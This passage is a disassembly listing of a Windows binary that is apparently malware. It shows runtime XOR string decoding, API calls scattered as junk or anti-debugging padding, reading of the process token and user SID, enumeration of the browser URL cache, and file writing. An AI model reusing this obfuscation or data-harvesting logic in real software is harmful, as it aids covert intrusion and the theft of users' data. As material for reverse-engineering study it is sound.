		add	[ebp+var_130], 4F65h
		mov	[ebp+var_FF], 0
		mov	eax, dword_44225D
		mov	[ebp+var_134], eax
		mov	[ebp+var_129], 0
		jmp	loc_404BB6
sub_40481B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404B85


loc_404A8B:				; CODE XREF: sub_404B85+39j
		call	sub_40C794	; GetProcessHeap
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404AE4
		push	4
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp-144h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-144h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h


loc_404AE4:				; CODE XREF: sub_404B85-E5j
		mov	eax, dword_442261
		mov	[ebp-138h], eax
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404B43
		push	4
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp-148h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-148h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h


loc_404B43:				; CODE XREF: sub_404B85-86j
		lea	edi, [ebp-13Fh]
		lea	esi, byte_442265
		mov	ecx, 7
		rep movsb
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 3
		jge	short loc_404BAA
		push	4
		push	offset aUU	; "“Å“Õ"
		call	sub_404491
		mov	[ebp-14Ch], eax
		call	sub_40CC38
		mov	ecx, 9
		cdq
; END OF FUNCTION CHUNK	FOR sub_404B85

; =============== S U B	R O U T	I N E =======================================



sub_404B85	proc near		; DATA XREF: .data:00440382o
					; .data:004403A9o ...

; FUNCTION CHUNK AT 00404A8B SIZE 000000FA BYTES

		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-14Ch]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h


loc_404BAA:				; CODE XREF: sub_404B85-1Fj
		call	sub_40C7C4	; GetTickCount
		add	byte ptr [ebp-129h], 1


loc_404BB6:				; CODE XREF: sub_40481B+26Bj
		mov	al, [ebp-129h]
		cmp	al, 32h
		jb	loc_404A8B
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 8


loc_404BD4:				; CODE XREF: sub_40481B+238j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404BFC
		push	4
		push	offset aKI	; "ŠÔĈ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404BFC:				; CODE XREF: sub_404B85+5Fj
		lea	edi, [ebp-128h]
		lea	esi, aRmU	; ": &rm`U"
		movsd
		movsd
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C32
		push	3
		push	offset aKI_3	; "ŠÔˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404C32:				; CODE XREF: sub_404B85+95j
		mov	dword ptr [ebp-104h], 384h
		mov	eax, [ebp-104h]
		mov	edx, eax
		add	edx, eax
		mov	[ebp-104h], edx
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C74
		push	3
		push	offset aKI_2	; "ŠÃˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404C74:				; CODE XREF: sub_404B85+D7j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C9C
		push	3
		push	offset aKI_1	; "Šßˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404C9C:				; CODE XREF: sub_404B85+FFj
		call	sub_40C7C4	; GetTickCount
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404CC9
		push	4
		push	offset aKsI	; "Š™ßˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404CC9:				; CODE XREF: sub_404B85+12Cj
		mov	dword ptr [ebp-10Ch], 0F10h
		inc	dword ptr [ebp-10Ch]
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D01
		push	4
		push	offset aKsI_0	; "Š™Ôˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404D01:				; CODE XREF: sub_404B85+164j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D29
		push	4
		push	offset aKsI_1	; "Š™Ãˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404D29:				; CODE XREF: sub_404B85+18Cj
		call	sub_40C7C4	; GetTickCount
sub_404B85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404D2E	proc near		; DATA XREF: .data:0043FFA8o
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D56
		push	7
		push	offset aKsI_2	; "Š™ÐÙØÂˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404D56:				; CODE XREF: sub_404D2E+10j
		mov	dword ptr [ebp-110h], 7CCAh
		mov	eax, 23D9h
		mul	dword ptr [ebp-110h]
		mov	[ebp-12Ch], eax
		mov	[ebp-110h], eax
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D9F
		push	8
		push	offset aKI_0	; "ŠÕÓØÂÓĈ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404D9F:				; CODE XREF: sub_404D2E+59j
		mov	dword ptr [ebp-114h], 2CE7h
		inc	dword ptr [ebp-114h]
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404DD7
		push	9
		push	offset aKsI_3	; "Š™ÕÓØÂÓĈ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404DD7:				; CODE XREF: sub_404D2E+91j
		mov	dword ptr [ebp-118h], 35B7h
		mov	eax, 4085h
		mul	dword ptr [ebp-118h]
		mov	[ebp-130h], eax
		mov	[ebp-118h], eax
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E20
		push	2
		push	offset asc_447400 ; "»¼"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h


loc_404E20:				; CODE XREF: sub_404D2E+DAj
		call	sub_40C734	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404D2E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E2A	proc near		; CODE XREF: sub_404EC6+5Cp
					; sub_404EC6+91p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 12Bh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44227C
		lea	eax, ds:436250h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_8], 283h
		xor	edi, edi
		jmp	short loc_404E77
; ---------------------------------------------------------------------------


loc_404E60:				; CODE XREF: sub_404E2A+4Fj
		mov	eax, dword_44227C
		add	eax, edi
		lea	eax, ds:436250h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7Bh
		mov	[eax], dl
		inc	edi


loc_404E77:				; CODE XREF: sub_404E2A+34j
		cmp	edi, esi
		jl	short loc_404E60
		mov	[ebp+var_C], 10Ch
		mov	eax, dword_44227C
		add	eax, esi
		mov	byte ptr ds:dword_436250[eax], 0
		xor	edi, edi
		mov	edi, dword_44227C
		add	dword_44227C, 3
		mov	eax, dword_44227C
		lea	eax, [eax+esi+3]
		mov	dword_44227C, eax
		cmp	eax, 0DEDh
		jle	short loc_404EBC
		and	dword_44227C, 0


loc_404EBC:				; CODE XREF: sub_404E2A+89j
		lea	eax, dword_436250[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404E2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EC6	proc near		; CODE XREF: sub_40506F+99p

var_30		= dword	ptr -30h
var_2A		= byte ptr -2Ah
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= dword	ptr -19h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_15], 0C0h
		sub	[ebp+var_15], 75h
		mov	eax, dword_442280
		mov	[ebp+var_19], eax
		xor	ebx, ebx
		inc	ebx
		push	[ebp+arg_0]
		call	sub_40CB9C	; GetSidIdentifierAuthority
		mov	[ebp+var_14], eax
		call	sub_40C740	; GetCurrentThreadId
		push	[ebp+arg_0]
		call	sub_40CBB4	; GetSidSubAuthorityCount
		movzx	edi, byte ptr [eax]
		mov	[ebp+var_10], edi
		call	sub_40C7C4	; GetTickCount
		mov	eax, 0Ch
		mul	[ebp+var_10]
		mov	[ebp+var_20], eax
		add	eax, 1Ch
		mov	[ebp+var_C], eax


loc_404F16:				; DATA XREF: .data:off_4472A3o
		call	sub_40C7C4	; GetTickCount
		push	6
		push	offset byte_4473B3
		call	sub_404E2A
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	sub_40CA7C	; wsprintfA
		add	esp, 14h
		mov	[ebp+var_C], eax
		add	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_14]
		cmp	byte ptr [eax],	0
		jnz	short loc_404F4B
		cmp	byte ptr [eax+1], 0
		jz	short loc_404FA9


loc_404F4B:				; CODE XREF: sub_404EC6+7Dj
		call	sub_40C734	; GetCurrentProcessId
		push	20h
		push	offset word_447392
		call	sub_404E2A
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+4]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+3]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+2]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+1]
		movzx	esi, si
		push	esi
		movzx	edi, byte ptr [edi]
		movzx	edi, di
		push	edi
		push	eax
		push	[ebp+var_8]
		call	sub_40CA7C	; wsprintfA
		add	esp, 28h
		mov	ebx, eax
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		jmp	short loc_405017
; ---------------------------------------------------------------------------


loc_404FA9:				; CODE XREF: sub_404EC6+83j
		mov	[ebp+var_24], 5F0h
		mov	eax, 4B0Ah
		mul	[ebp+var_24]
		mov	[ebp+var_30], eax
		mov	[ebp+var_24], eax
		push	3
		push	offset word_44738E
		call	sub_404E2A
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	edx, byte ptr [edi+4]
		shl	edx, 8
		add	esi, edx
		movzx	edx, byte ptr [edi+3]
		shl	edx, 10h
		add	esi, edx
		movzx	edi, byte ptr [edi+2]
		shl	edi, 18h
		add	esi, edi
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_40CA7C	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		lea	edi, [ebp+var_2A]
		lea	esi, aO68_0	; "o6,%8"
		mov	ecx, 3
		rep movsw
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax


loc_405017:				; CODE XREF: sub_404EC6+E1j
		and	[ebp+var_4], 0
		jmp	short loc_405062
; ---------------------------------------------------------------------------


loc_40501D:				; CODE XREF: sub_404EC6+1A2j
		call	sub_40C764	; RtlGetLastWin32Error
		push	4
		push	offset byte_447389
		call	sub_404E2A
		mov	[ebp+var_24], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_40CBA8	; GetSidSubAuthority
		push	dword ptr [eax]
		mov	edi, [ebp+var_24]
		push	edi
		push	[ebp+var_8]
		call	sub_40CA7C	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		inc	[ebp+var_4]


loc_405062:				; CODE XREF: sub_404EC6+155j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_4], eax
		jb	short loc_40501D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404EC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40506F	proc near		; CODE XREF: sub_405E88+239p

var_19		= byte ptr -19h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_B]
		lea	esi, word_44228A
		mov	ecx, 3
		rep movsb
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_8], eax
		lea	edi, [ebp+var_10]
		lea	esi, aGK	; "`G k"
		mov	ecx, 5
		rep movsb
		push	[ebp+var_8]
		push	0
		push	1F0FFFh
		call	sub_40C89C	; OpenProcess
		mov	ebx, eax
		call	sub_40C7D0	; GetVersion
		lea	eax, [ebp+var_4]
		push	eax
		push	0F00FFh
		push	ebx
		call	sub_40CB24	; OpenProcessToken
		call	sub_40C734	; GetCurrentProcessId
		push	ebx
		call	sub_40C7AC	; CloseHandle
		mov	eax, dword_442278
		add	eax, 3FF4h
		push	eax
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	ebx, eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, dword_442278
		add	eax, 3FF4h
		push	eax
		push	ebx
		push	1
		push	[ebp+var_4]
		call	sub_40CB30	; GetTokenInformation
		call	sub_40C7D0	; GetVersion
		push	[ebp+arg_0]
		push	dword ptr [ebx]
		call	sub_404EC6
		add	esp, 8
		push	ebx
		call	sub_40C884	; LocalFree
		call	sub_40C854	; IsDebuggerPresent
		push	[ebp+var_4]
		call	sub_40C7AC	; CloseHandle
		lea	edi, [ebp+var_19]
		lea	esi, asc_442292	; "> `h"
		mov	ecx, 5
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40506F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405138	proc near		; CODE XREF: sub_40523D+52p
					; sub_40523D+BDp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_4422A0
		lea	eax, ds:4197B0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_405176
; ---------------------------------------------------------------------------


loc_40515F:				; CODE XREF: sub_405138+40j
		mov	eax, dword_4422A0
		add	eax, edi
		lea	eax, ds:4197B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 3Ch
		mov	[eax], dl
		inc	edi


loc_405176:				; CODE XREF: sub_405138+25j
		cmp	edi, esi
		jl	short loc_40515F
		mov	[ebp+var_4], 365h
		mov	eax, dword_4422A0
		add	eax, esi
		mov	byte ptr ds:dword_4197B0[eax], 0
		xor	edi, edi
		mov	edi, dword_4422A0
		mov	eax, edi
		add	eax, 2
		add	eax, esi
		mov	dword_4422A0, eax
		cmp	eax, 0DDFh
		jle	short loc_4051B2
		and	dword_4422A0, 0


loc_4051B2:				; CODE XREF: sub_405138+71j
		mov	[ebp+var_8], 0E8h
		lea	eax, dword_4197B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_405138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051C3	proc near		; CODE XREF: sub_4061F7+526p
					; sub_4061F7+543p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		call	sub_40C740	; GetCurrentThreadId
		push	0
		push	80h
		push	4
		push	0
		push	0
		push	0C0000000h
		push	[ebp+arg_0]
		call	sub_40C8CC	; CreateFileA
		mov	edi, eax
		call	sub_40C7D0	; GetVersion
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4051F8
		xor	eax, eax
		jmp	short loc_405239
; ---------------------------------------------------------------------------


loc_4051F8:				; CODE XREF: sub_4051C3+2Fj
		mov	esi, 3356h
		sub	esi, 0F1Dh
		push	2
		push	0
		push	0
		push	edi
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C7D0	; GetVersion
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_40C944	; WriteFile
		call	sub_40C740	; GetCurrentThreadId
		push	edi
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId
		xor	eax, eax
		inc	eax


loc_405239:				; CODE XREF: sub_4051C3+33j
		pop	edi
		pop	esi
		leave
		retn
sub_4051C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40523D	proc near		; CODE XREF: sub_4061F7+46Fp

var_2F5B	= byte ptr -2F5Bh
var_2F58	= dword	ptr -2F58h
var_2F53	= byte ptr -2F53h
var_2F52	= byte ptr -2F52h
var_2F4A	= word ptr -2F4Ah
var_2F48	= byte ptr -2F48h
var_2F47	= byte ptr -2F47h
var_2F46	= word ptr -2F46h
var_2F43	= byte ptr -2F43h
var_1F44	= dword	ptr -1F44h
var_1F40	= byte ptr -1F40h
var_1F3C	= dword	ptr -1F3Ch
var_1F38	= dword	ptr -1F38h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2F5Ch
		call	sub_40C6B8
		push	ebx
		push	esi


loc_40524C:				; DATA XREF: sub_440531r
		push	edi
		mov	[ebp+var_2F46],	7B0Ch ;	DATA XREF: sub_44053Dr
					; sub_440549r
		inc	[ebp+var_2F46]	; DATA XREF: sub_440555r sub_440561r
		lea	edi, [ebp+var_2F52] ; DATA XREF: sub_44056Dr
		lea	esi, aDpVB	; DATA XREF: sub_440579r sub_440585r
					; ">Dp+‚'B"
		movsd
		movsd
		push	[ebp+arg_0]	; DATA XREF: sub_440591r
		lea	eax, [ebp+var_2F43] ; DATA XREF: sub_44059Dr


loc_405274:				; DATA XREF: sub_4405A9r
		push	eax
		call	sub_40C6D8	; DATA XREF: sub_4405B5r
		mov	[ebp+var_2F47],	33h ; DATA XREF: sub_4405C1r
					; sub_4405CDr
		add	[ebp+var_2F47],	1 ; DATA XREF: sub_4405D9r
		push	1
		push	offset byte_447387
		call	sub_405138	; DATA XREF: sub_4405E5r
		mov	edi, 12h
		sub	edi, dword_44229C ; DATA XREF: sub_4405F1r
		push	edi
		push	eax
		lea	edi, [ebp+var_2F43]
		push	edi


loc_4052A8:				; DATA XREF: sub_4406ADr sub_4406B9r
		call	sub_40181A
		add	esp, 14h


loc_4052B0:				; DATA XREF: sub_4406C5r
		mov	edi, eax
		mov	[ebp+var_2F4A],	di ; DATA XREF:	sub_4406D1r
					; sub_4406DDr
		movzx	eax, [ebp+var_2F4A] ; DATA XREF: sub_4406E9r


loc_4052C0:				; DATA XREF: sub_4406F5r sub_440701r
		cmp	eax, 0FFFFh
		jz	short loc_4052D6
		movzx	eax, [ebp+var_2F4A] ; DATA XREF: sub_44070Dr
					; sub_440719r
		mov	[ebp+eax+var_2F43], 0 ;	DATA XREF: sub_440725r
					; sub_440731r


loc_4052D6:				; CODE XREF: sub_40523D+88j
					; DATA XREF: sub_44073Dr ...
		mov	[ebp+var_2F48],	22h
		add	[ebp+var_2F48],	90h ; DATA XREF: sub_440755r


loc_4052E4:				; DATA XREF: sub_440761r sub_44076Dr ...
		mov	[ebp+var_1F44],	1F40h
		call	sub_40C764	; DATA XREF: sub_440785r
		push	3		; DATA XREF: sub_440791r
		push	offset byte_447383 ; DATA XREF:	sub_44079Dr
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_1F44] ; DATA XREF: sub_4407A9r


loc_405308:				; DATA XREF: sub_4407B5r
		push	edi
		lea	edi, [ebp+var_1F40] ; DATA XREF: sub_4407C1r
		push	edi


loc_405310:				; DATA XREF: sub_4407CDr
		push	eax
		call	sub_40BC38	; DATA XREF: sub_4407D9r
		mov	ebx, eax


loc_405318:				; DATA XREF: sub_4407E5r
		or	eax, eax
		jz	loc_4053F9	; DATA XREF: sub_4407F1r


loc_405320:				; DATA XREF: sub_4407FDr sub_440809r
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40CBE4	; DATA XREF: sub_440815r
		add	esp, 8		; DATA XREF: sub_440821r
		or	eax, eax
		jnz	short loc_40536B ; DATA	XREF: sub_44082Dr
		mov	[ebp+var_2F53],	0CEh ; DATA XREF: sub_440839r


loc_405340:				; DATA XREF: sub_440845r sub_440851r
		sub	[ebp+var_2F53],	68h
		push	[ebp+var_1F38]	; DATA XREF: sub_44085Dr sub_440869r
		push	[ebp+arg_4]


loc_405350:				; DATA XREF: sub_440875r sub_440881r
		call	sub_40C6D8
		lea	edi, [ebp+var_2F5B] ; DATA XREF: sub_44088Dr
		lea	esi, aB_mxkw	; "B_mxkw&"
		movsd
		movsd
		xor	eax, eax	; DATA XREF: sub_440899r
		inc	eax
		jmp	loc_4053F9	; DATA XREF: sub_4408A5r
; ---------------------------------------------------------------------------


loc_40536B:				; CODE XREF: sub_40523D+FAj
					; sub_40523D:loc_4053F2j
					; DATA XREF: ...
		mov	[ebp+var_2F53],	1Dh
		movzx	eax, [ebp+var_2F53] ; DATA XREF: sub_4408C9r
					; sub_4408D5r
		imul	eax, 42B9h	; DATA XREF: sub_4408E1r
		mov	[ebp+var_2F53],	al ; DATA XREF:	sub_4408EDr
					; sub_4408F9r
		mov	[ebp+var_1F44],	1F40h ;	DATA XREF: sub_440905r
					; sub_440911r
		lea	eax, [ebp+var_1F44] ; DATA XREF: sub_44091Dr
					; sub_440929r
		push	eax
		lea	eax, [ebp+var_1F40] ; DATA XREF: sub_440935r
		push	eax
		push	ebx
		call	sub_40BC44	; FindNextUrlCacheEntryA
		or	eax, eax
		jz	short loc_4053F7
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40CBE4
		add	esp, 8
		or	eax, eax
		jnz	short loc_4053F2
		mov	[ebp+var_2F58],	6518h
		mov	eax, [ebp+var_2F58]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2F58],	edx
		push	[ebp+var_1F38]
		push	[ebp+arg_4]
		call	sub_40C6D8
		xor	eax, eax
		inc	eax
		jmp	short loc_4053F9
; ---------------------------------------------------------------------------


loc_4053F2:				; CODE XREF: sub_40523D+186j
		jmp	loc_40536B
; ---------------------------------------------------------------------------


loc_4053F7:				; CODE XREF: sub_40523D+168j
		xor	eax, eax


loc_4053F9:				; CODE XREF: sub_40523D+DDj
					; sub_40523D+129j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40523D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053FE	proc near		; CODE XREF: sub_4054C8+602p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C854	; IsDebuggerPresent
		push	ebx
		call	sub_40C95C	; lstrlenA
		mov	[ebp+var_8], eax
		call	sub_40C7C4	; GetTickCount
		mov	edi, [ebp+var_8]
		shl	edi, 1
		add	edi, 8
		push	edi
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	[ebp+var_C], eax
		call	sub_40C794	; GetProcessHeap
		xor	esi, esi
		jmp	short loc_40544F
; ---------------------------------------------------------------------------


loc_405439:				; CODE XREF: sub_4053FE+54j
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		or	eax, eax
		jz	short loc_40544E
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		mov	[ebx+esi], al


loc_40544E:				; CODE XREF: sub_4053FE+44j
		inc	esi


loc_40544F:				; CODE XREF: sub_4053FE+39j
		cmp	esi, [ebp+var_8]
		jb	short loc_405439
		mov	[ebp+var_2], 0
		jmp	short loc_4054B2
; ---------------------------------------------------------------------------


loc_40545C:				; CODE XREF: sub_4053FE+BBj
		push	6
		push	offset dword_44737C
		call	sub_405138
		mov	[ebp+var_10], eax
		movzx	edi, [ebp+var_2]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_14], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_C]
		push	edi
		mov	esi, [ebp+var_10]
		push	esi
		push	edi
		call	sub_40CC50
		add	esp, 1Ch
		inc	[ebp+var_2]


loc_4054B2:				; CODE XREF: sub_4053FE+5Cj
		movzx	eax, [ebp+var_2]
		cmp	eax, [ebp+var_8]
		jb	short loc_40545C
		call	sub_40C7C4	; GetTickCount
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4053FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054C8	proc near		; CODE XREF: sub_4061F7+199p

var_300A1	= byte ptr -300A1h
var_300A0	= dword	ptr -300A0h
var_3009C	= dword	ptr -3009Ch
var_30096	= word ptr -30096h
var_30094	= dword	ptr -30094h
var_3008D	= byte ptr -3008Dh
var_3008C	= dword	ptr -3008Ch
var_30088	= dword	ptr -30088h
var_30084	= dword	ptr -30084h
var_30080	= dword	ptr -30080h
var_3007C	= dword	ptr -3007Ch
var_30078	= dword	ptr -30078h
var_30071	= byte ptr -30071h
var_3006E	= word ptr -3006Eh
var_3006C	= byte ptr -3006Ch
var_30067	= byte ptr -30067h
var_30064	= byte ptr -30064h
var_3005F	= dword	ptr -3005Fh
var_3005B	= byte ptr -3005Bh
var_30058	= dword	ptr -30058h
var_30054	= byte ptr -30054h
var_30051	= byte ptr -30051h
var_3004A	= word ptr -3004Ah
var_30048	= dword	ptr -30048h
var_30044	= word ptr -30044h
var_30041	= byte ptr -30041h
var_30040	= byte ptr -30040h
var_3003F	= byte ptr -3003Fh
var_30035	= byte ptr -30035h
var_30034	= dword	ptr -30034h
var_30030	= dword	ptr -30030h
var_3002C	= byte ptr -3002Ch
var_3002B	= byte ptr -3002Bh
var_30021	= byte ptr -30021h
var_30020	= dword	ptr -30020h
var_3001C	= dword	ptr -3001Ch
var_30018	= word ptr -30018h
var_30016	= word ptr -30016h
var_30014	= dword	ptr -30014h
var_30010	= dword	ptr -30010h
var_3000C	= byte ptr -3000Ch
var_2000C	= dword	ptr -2000Ch
var_20008	= dword	ptr -20008h
var_20003	= byte ptr -20003h
var_10004	= dword	ptr -10004h
var_10000	= byte ptr -10000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 300A4h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_30016], 316Dh
		movzx	eax, [ebp+var_30016]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_30016], ax
		and	[ebp+var_3001C], 0
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_2000C], 0
		and	[ebp+var_30014], 0
		lea	eax, [ebp+var_10004]
		push	eax
		push	[ebp+arg_4]
		call	sub_401A7E
		add	esp, 8
		mov	ebx, eax
